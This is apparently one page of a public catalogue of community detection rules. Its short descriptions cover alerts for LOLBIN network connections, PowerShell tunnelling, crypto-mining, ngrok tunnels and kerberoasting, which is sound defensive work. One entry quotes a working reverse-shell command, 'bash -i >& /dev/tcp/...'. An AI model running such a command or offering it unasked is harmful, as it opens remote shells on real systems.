Detections
Explore public detection logic contributed by the community across SIEM and rule languages.
5,155 detections
Filters
Last updated
All Time
Detection languages
2,301
1,070
640
289
288
Contributors
918
814
769
696
224
Categories
20,456
11,839
5,876
5,155
4,865
Platforms
2,858
2,017
816
524
213
Products / Services
1,336
1,144
831
576
366
MITRE Techniques
1,822
1,307
787
747
577
CVEs
9
7
7
6
6
IDS Classtypes
538
151
101
57
48
IDS Protocols
375
373
132
64
42
Detects a network connection initiated by the Add-In deployment cache updating utility "AddInutil.exe". This could indicate a potential command and control communication as this tool doesn't usually initiate network activity.
This rule detects when the `IMEWDBLD.exe` process initiates a network connection. This behavior is suspicious because `IMEWDBLD.exe` is a legitimate Microsoft Windows component (Input Method Editor Word Dictionary Builder) that is not typically expected to make outbound network connections. Adversaries may abuse this utility as a Living Off The Land Binary (LOLBIN) to download additional payloads or exfiltrate data, leveraging its trusted status to evade detection. The detection focuses on the initiation of any network connection by this specific executable.
This rule detects instances where 'rundll32.exe' initiates an outbound network connection to a public IP address. It filters out connections to common local, private, and Microsoft-owned IP ranges, as well as specific legitimate command lines and Azure internal hostnames, to reduce false positives. The rule aims to identify suspicious network activity originating from rundll32.exe, which is often abused by malware for defense evasion and execution.
Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and make network connections. This rule specifically looks for wuauclt.exe making network connections with the '/RunHandlerComServer' command-line argument, while filtering out common internal IP ranges and known Microsoft update server IP ranges to reduce false positives. It also filters out specific command-line patterns related to legitimate Windows Update deployments.
Detects PowerShell scripts that create TCP listeners and accept client connections, which is indicative of tunneling activity. The rule specifically looks for the use of '[System.Net.HttpWebRequest]', 'System.Net.Sockets.TcpListener', and 'AcceptTcpClient' within the script block text.
This rule detects the execution of 'curl.exe' when it is used with the '-H' flag to specify a custom 'User-Agent' string. This behavior can be indicative of an attacker attempting to download or exfiltrate data to a domain that requires a specific User-Agent for access, potentially to bypass security controls or blend in with legitimate traffic. The rule specifically looks for the 'curl.exe' image or original filename and the presence of '-H' followed by 'User-Agent:' in the command line.
Detects a network connection initiated by the certutil.exe utility. Attackers can abuse this utility to download malware or additional payloads.
Detects network connections initiated by the Microsoft Equation Editor process (eqnedt32.exe). This activity is highly suspicious as eqnedt32.exe is not expected to make outbound network connections and is often exploited by adversaries to achieve code execution and establish C2 communications.
Detects a script interpreter (Wscript/Cscript) initiating a local network connection to download or execute a script hosted on a shared folder. This behavior can be indicative of an adversary attempting to transfer tools or execute scripts from internal network shares.
Detects when the Windows utility 'Regsvr32.exe' initiates an outbound network connection. This behavior can indicate an attempt to bypass application control or execute malicious code by loading remote COM scriptlets or DLLs, often referred to as 'Squiblydoo'.
Transferring files with well-known filenames (sensitive files with credential data) using network shares
Detects network connections from the Equation Editor process "eqnedt32.exe".
Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.
Detects suspicious command with /dev/tcp
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
Detects process connections to a Monero crypto mining pool
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.
Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/
Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting
Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour
Page 242 of 246